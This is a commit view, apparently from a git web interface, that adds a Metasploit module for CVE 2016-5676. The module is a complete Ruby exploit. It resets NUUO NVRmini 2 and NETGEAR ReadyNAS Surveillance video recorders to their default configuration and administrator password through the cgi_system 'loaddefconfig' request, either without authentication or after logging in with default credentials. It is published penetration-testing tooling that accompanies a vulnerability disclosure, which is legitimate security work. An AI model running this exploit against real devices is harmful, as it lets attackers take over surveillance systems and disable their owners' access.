Browse Source

add exploit for CVE 2016-5676

Pedro Ribeiro 3 years ago
parent
commit
ec67db03f1
1 changed files with 85 additions and 0 deletions
  1. 85
    0
      modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb

+ 85
- 0
modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb View File

@@ -0,0 +1,85 @@
1
+##
2
+# This module requires Metasploit: http://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'msf/core'
7
+
8
+class MetasploitModule < Msf::Auxiliary
9
+  Rank = ExcellentRanking
10
+
11
+  include Msf::Exploit::Remote::HttpClient
12
+  include Msf::Auxiliary::Report
13
+
14
+  def initialize(info = {})
15
+    super(update_info(info,
16
+      'Name'        => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
17
+      'Description' => %q{
18
+        The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
19
+        to an administrator password reset on the exposed web management interface.
20
+        Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
21
+        (before v1.7.6), otherwise you need an administrative user password.
22
+        This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
23
+        It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
24
+        in those devices.
25
+      },
26
+      'Author' =>
27
+        [
28
+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29
+        ],
30
+      'License' => MSF_LICENSE,
31
+      'References' =>
32
+        [
33
+          ['CVE', '2016-5676'],
34
+          ['US-CERT-VU', '856152'],
35
+          ['URL', 'TODO_GITHUB_URL'],
36
+          ['URL', 'TODO_FULLDISC_URL']
37
+        ],
38
+      'DefaultTarget' => 0,
39
+      'DisclosureDate' => 'Aug 4 2016'))
40
+
41
+    register_options(
42
+      [
43
+        Opt::RPORT(8081),
44
+        OptString.new('TARGETURI', [true,  "Application path", '/']),
45
+        OptString.new('USERNAME', [false, 'The username to login as', 'admin']),
46
+        OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),
47
+      ], self.class)
48
+  end
49
+
50
+
51
+  def run
52
+    res = send_request_cgi({
53
+        'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
54
+        'vars_get' => { 'cmd' => "loaddefconfig" }
55
+    })
56
+
57
+    if res && res.code == 401
58
+      res = send_request_cgi({
59
+              'method' => 'POST',
60
+              'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
61
+              'vars_post' => {
62
+                'user' => datastore['USERNAME'],
63
+                'pass' => datastore['PASSWORD'],
64
+                'submit' => "Login"
65
+              }
66
+      })
67
+      if res && (res.code == 200 || res.code == 302)
68
+        cookie = res.get_cookies
69
+      else
70
+        fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
71
+      end
72
+      res = send_request_cgi({
73
+          'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
74
+          'cookie' => cookie,
75
+          'vars_get' => { 'cmd' => "loaddefconfig" }
76
+      })
77
+    end
78
+
79
+    if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
80
+      print_good("#{peer} - Device has been reset to the default configuration.")
81
+    else
82
+      print_error("#{peer} - Failed to reset device.")
83
+    end
84
+  end
85
+end

Loading…
Cancel
Save